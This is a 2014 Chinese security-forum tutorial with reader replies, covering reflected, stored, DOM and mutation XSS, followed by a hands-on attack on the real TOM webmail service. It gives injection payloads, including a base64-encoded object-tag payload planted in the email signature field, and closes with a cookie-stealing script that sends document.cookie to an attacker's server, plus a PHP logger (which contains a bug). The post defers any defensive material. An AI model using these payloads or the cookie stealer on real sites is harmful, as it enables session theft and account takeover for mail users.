查看: 19554|回复: 12

[零八信安征文]XSS教程(测试篇+tom邮箱实战篇)

[复制链接]
  • TA的每日心情
    开心
    2019-10-8 10:12
  • 签到天数: 15 天

    [LV.4]偶尔看看III

    发表于 2014-5-3 19:04:54 | 显示全部楼层 |阅读模式
    本帖最后由 nextdoor 于 2016-7-29 10:39 编辑

    ##########################################
    #  Title    :XSS教程【测试篇+实战篇】
    #  Time   :2014年5月3日
    #  Team  :08sec team
    #  Author : nextdoor
    #  首发   : 08安全小组
    ##########################################

    测试篇

    一、反射型XSS
    反射型XSS主要是提交的变量上未进行过滤,输出后当成代码执行
    首先说说XSS的的输出,JS代码可能输出在html标签中,html标签属性中,html事件中
    和SCRIPT标签中。
    A.输出在html标签中
    由于未对userinput标签进行过滤,在变量后插入我们的代码
    01.PNG
    02.PNG
    代码执行成功了
    看看我们的源码,JS代码已经插入了
    03.PNG
    B.输出在html的属性中
    由于未对userinput标签进行过滤,测试后知道userinput是个变量,得出输出的位置如图
    6.PNG
    那么就构造我们的js代码为#” onerror=”alert(/08sec/);成功触发代码
    首先闭合前一个双引号,最后一个双引号让他闭合onerror属性。
    5.PNG
    代码插入到img的src属性中,插入成功源码
    4.PNG
    C.输出在事件中
    首先我们看到了userinput的变量的输入和输出点
    7.PNG
    看到变量userinput的值aaaaaa在onclick事件中输出构造代码,首先闭合单引号’
    在注释掉aaaaaa后单引号后的值代码如下’;  alert(/08sec/); // 两个斜杠注释后面的内容。结果如图
    8.PNG
    插入后的源码
    10.PNG
    D.输出在JS标签中
    下面的js是输出的位置
    11.PNG
    构造代码,首先闭合”在注释后面的双引号构造的代码”; alert(/08sec/); // 触发成功
    12.PNG
    插入后的代码
    13.PNG


    二、存储型XSS
    存储型的和反射型的区别就是插入到数据库中,在任何需要这个变量的时候输出。
    但是利用的过程和构造xss利用代码的过程差不多。不在一一举例了。仅仅找两个代表
    性的和大家交流一下。
    A.输出在html标签内
    首先还是看看输入点和输出点
    14.PNG
    16.PNG
    下面构造代码,首先闭合<textarea>标签就可以了aaaaaa</textarea>
    <script>alert(/08sec/);</script>插入后成功执行
    17.PNG
    插入成功之后的代码源码
    18.PNG

    B.输出在script标签里
    首先找xss漏洞不要盲目的插,而要先找输入和输出点
    19.PNG
    20.PNG
    构造我们的js利用代码
    先闭合单引号在注释后面的单引号和分号利用代码aaaaaa’; alert(/08sec/); //
    成功触发
    21.PNG
    插入成功后的代码
    22.PNG

    三、DOMXSS
    说到DOMXSS,其实他也是反射型xss的一种,只不过它是把标签写入到innerHTML中,在通过DOM渲染出来。
    就是插入innerHTML中的内容会以网页的形式显示出来。
    代码如下:
    23.PNG
    测试代码执行
    24.PNG
    25PNG.PNG

    四、MXSS
    这个漏洞是今年2月好像一个老外发现的,MXSS的意思是突变的XSS。下面是MXSS的解释:如果用户所提供的富文本内容通过javascript代码进入innerHTML属性后,一串看似没有任何危害的HTML代码,将逃过XSS过滤器的检测,最终进入某个DOM节点的innerHTML中,浏览器的渲染引擎会将本来没有任何危害的HTML代码渲染成具有潜在危险的XSS攻击代码。随后,该段攻击代码,可能会被JS代码中的其它一些流程输出到DOM中或是其它方式被再次渲染,从而导致XSS的执行。 这种由于HTML内容进入innerHTML后发生意外变化(mutation,突变),而最终导致XSS的攻击流程,被称为突变XSS。
    代码如下
    26.PNG
    测试过程代码突变了
    27.PNG
    更多关于MXSS信息,参考http://hi.baidu.com/doordoor6/item/d1d3601c9d52634870d5e873


    实战篇
    看了上面的测试篇之后,大家或许对实战早就期待了。下面以TOM邮箱为例子进行演示。
    反射型的XSS就不说了,主要说说存储型的和MXSS的。
    1.存储型
    测试过程
    a.找输入点,并插入测试代码
    首先对常用表签script放入内容中测试,发现进行原样说出,一般情况下写信是没有漏洞的,mxss漏洞下一步在测试。
    那么看看其他输入的地方,发现有一个个人签名,看看个人签名处过滤的没有。哈哈,签名处没过滤。
    那么我们拿一个JS代码试一下。
    28.PNG
    29.PNG
    b.看看输出点,输出点是收件人
    30.PNG
    31.PNG
    代码执行成功,漏洞存在。
    原来测试的TOM信件中如果要<script>和<img>标签后是不能发送的,是黑名单的过滤。还过滤了很多危险的标签,不知道怎么回事,今天写文章时竟然没有过滤了,有时候有些事总是那么的莫名奇妙,可能是防恶意代码的软件关闭了。如果过滤的话一般会过滤<script>,
    <img> 和<iframg>以及标签中的on事件。原来测试的<object>标签没有过滤,那么就用<object>标签吧,还有就是<object>标签会自动触发的,我看到有人在乌云上提交过自动触发的,我提交的有些晚了,在测试发现不能自动触发了,可能自动触发TOM网站已经堵住了。但是在回复,转发触发依然可以触发。
    过程如下
    利用的代码
    <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=></object>
    PHNjcmlwdD5hbGVydCgvMDhzZWMvKTs8L3NjcmlwdD4=这是经过base64加密后的代码
    源代码<script>alert(/08sec/);</script>
    0801.PNG
    0802.PNG
    0803.PNG
    0804.PNG
    0805.PNG

    2.MXSS型
    测试过程
    原来测试的时候在邮件正文和邮件标题是都可以触发MXSS但是今天写文章时就不行了
    啊啊肿么办啊。只有看看签名处可不可以突变了。
    A.还是先找输入点,对于邮箱输入和输出比较好找,和上面的一样了
    0815.PNG
    保存后不能再点击了
    0816.PNG
    自己和自己发一封信
    0814.PNG
    我们收到了信件,原来是直接触发的,现在也不行了
    0813.PNG
    当我们点击回复,转发或全部回复时,突变代码再次进入DOM节点时,成功触发
    0811.PNG
    0812.PNG
    至于代码执行后利用的过程
    把888换成下面我们evil.js脚本就可以
    盗取cookie的js脚本
    evil.js
    ==========================================================
    var js = document.createElement('script');
    js.src = 'http://my.com/getcookie.php?c=' + document.cookie;
    //my.com换成自己的网站,如果有xss平台就把js.src改为平台的地址,就不需要
    下面的getcook.php了,如果过滤单引号可以把括号的内容改为Strng,在这里不再详细描述
    如果感兴趣的话自己搜一下
    document.body.appendChild(js);
    ==========================================================
    这是盗取网站的代码放到我们自己的服务器上就可以了。
    getcookie.php
    ===========================================================
    $querystring = $_SERVER["QUERY_STRING"];
    $querystring = $_SERVER;//接受全部内容
    $link = fopen("cookie.txt","a+");
    fwrite($log,$querystring);

    对于xss的防御,我现在正在研究之中,还没有研究完全,暂时先不发来。
    等完全搞好了,在和大家共享。如有错误的地方,希望大家提醒。

    评分

    参与人数 3人气 +4 i币 +28 贡献 +2 收起 理由
    Pony + 2 + 10 支持原创
    乏味 + 2 果断保存下来,正在学这个,不知楼主可不可.
    90_ + 2 + 16 + 2 相当靠谱的科普文+实践。

    查看全部评分

    回复

    使用道具 举报

  • TA的每日心情
    慵懒
    2017-1-5 19:19
  • 签到天数: 238 天

    [LV.7]常住居民III

    发表于 2014-5-3 20:25:01 | 显示全部楼层
    好吧,楼主人才啊,文章那么长,我还没看就表示有压力了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情

    2016-6-7 21:48
  • 签到天数: 11 天

    [LV.3]偶尔看看II

    发表于 2014-5-3 21:54:10 | 显示全部楼层
    相当不错,看明白了
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-3 22:02:46 | 显示全部楼层
    我想说的是 这么长  为什么不录个教程呢
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-11-8 14:32
  • 签到天数: 140 天

    [LV.7]常住居民III

    发表于 2014-5-4 01:28:51 | 显示全部楼层
    这么长
    回复 支持 反对

    使用道具 举报

    该用户从未签到

    发表于 2014-5-4 09:28:59 | 显示全部楼层
    很好,很详细,谢谢分享
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2017-2-26 23:07
  • 签到天数: 18 天

    [LV.4]偶尔看看III

    发表于 2014-5-4 14:03:47 | 显示全部楼层
    人才,文章那么长,我还没看就表示有压力了
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    无聊
    2015-11-28 20:07
  • 签到天数: 2 天

    [LV.1]初来乍到

    发表于 2014-5-9 17:47:04 | 显示全部楼层
    没有doc文件下载吗? 先mark 有空再看
    回复 支持 反对

    使用道具 举报

    头像被屏蔽

    该用户从未签到

    发表于 2014-5-9 18:54:04 | 显示全部楼层
    提示: 作者被禁止或删除 内容自动屏蔽
    回复 支持 反对

    使用道具 举报

  • TA的每日心情
    开心
    2016-5-9 17:02
  • 签到天数: 4 天

    [LV.2]偶尔看看I

    发表于 2014-8-11 16:26:41 | 显示全部楼层
    hdx好东西 谢谢分享
    回复 支持 反对

    使用道具 举报

    您需要登录后才可以回帖 登录 | 注册

    本版积分规则

    指导单位

    江苏省公安厅

    江苏省通信管理局

    浙江省台州刑侦支队

    DEFCON GROUP 86025

    旗下站点

    邮箱系统

    应急响应中心

    红盟安全

    联系我们

    官方QQ群:112851260

    官方邮箱:security#ihonker.org(#改成@)

    官方核心成员

    Archiver|手机版|小黑屋| ( 苏ICP备2021031567号 )

    GMT+8, 2024-12-23 23:55 , Processed in 0.031718 second(s), 14 queries , Gzip On, MemCache On.

    Powered by ihonker.com

    Copyright © 2015-现在.

  • 返回顶部